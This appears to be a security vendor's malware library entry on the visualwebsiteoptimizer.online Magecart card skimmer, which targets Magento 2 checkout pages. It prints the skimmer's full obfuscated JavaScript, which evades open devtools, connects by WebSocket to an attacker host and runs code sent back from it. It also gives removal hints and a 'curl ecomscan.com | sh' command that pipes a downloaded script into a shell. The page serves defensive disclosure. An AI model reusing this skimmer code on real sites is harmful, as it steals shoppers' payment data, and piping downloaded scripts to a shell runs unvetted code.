Sansec logo

visualwebsiteoptimizer.online (malware)

Sansec has collected and analyzed thousands of malware samples over the years. Find the most popular, malicious or just clever malware here.

Sansec Malware Library

What is visualwebsiteoptimizer.online ?

Often found on online stores, visualwebsiteoptimizer.online is a common digital skimmer (also known as Magecart) that was first detected on April 3rd, 2020. So far, Sansec has discovered this malware on 100 different victim stores. The most common attacked platform is Magento 2.

A typical sample of the malware in the wild can be observed when selecting "view page source" in your browser. It looks like this:

var oCanvas;
(function () {
  var c = {
              open: !1,
              orientation: null
          },
          e = function (c, a) {
              window.dispatchEvent(new CustomEvent("devtoolschange", {
                  detail: {
                      open: c,
                      orientation: a
                  }
              }))
          },
          f = 160 < window.outerWidth - window.innerWidth,
          d = 160 < window.outerHeight - window.innerHeight,
          b = f ? "vertical" : "horizontal";
      d && f || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || f || d) ? (c.open && e(!1, null), c.open = !1, c.orientation = null) : (c.open && c.orientation === b || e(!0, b), c.open = !0, c.orientation = b), !c.open && /checkout/.test(window.location) && (oCanvas = new self["Web".concat("S", "", "oc", "", "ke", "", "", "t")]("wss://www.visualwebsiteoptimizer.online/api/optimizer"), oCanvas.onopen = function () {
          oCanvas.send(["IN", "", "", "IT", ":", ":", location.host, "::", location.href].join(""))
      }, oCanvas["o".concat("", "", "nme", "", "s", "s", "age")] = function (b) {
          new self["F" + "unc".concat("t", "", "i", "on")](atob(b["da".concat("ta")])).call(this)
      })
})();

How does it work?

The visualwebsiteoptimizer.online skimmer is loaded on the checkout page of a typical store. It lives in the browser of an unsuspecting online customer. Whenever he or she enters her payment information, the private data is siphoned off to an offshore server. Usually, this data is then sold on the dark web within 2-10 weeks.

How to clean it?

The malware can be easily removed. It is usually hidden in a database field, such as core_config_data, cms_blocks or cms_pages. Sometimes the malware is appended to a specific .js code file. However just cleaning the malware is not enough: you need to discover the root cause of this malware, otherwise you will soon find the same malware back in your store.

Scan your store now
for malware & vulnerabilities

$ curl ecomscan.com | sh

eComscan is the most thorough security scanner for Magento, Adobe Commerce, Shopware, WooCommerce and many more.

Stay up to date with the latest eCommerce attacks

Sansec logo

experts in eCommerce security

Terms & Conditions
|
Privacy & Cookie Policy
Company Reg 77165187
|
Tax NL860920306B01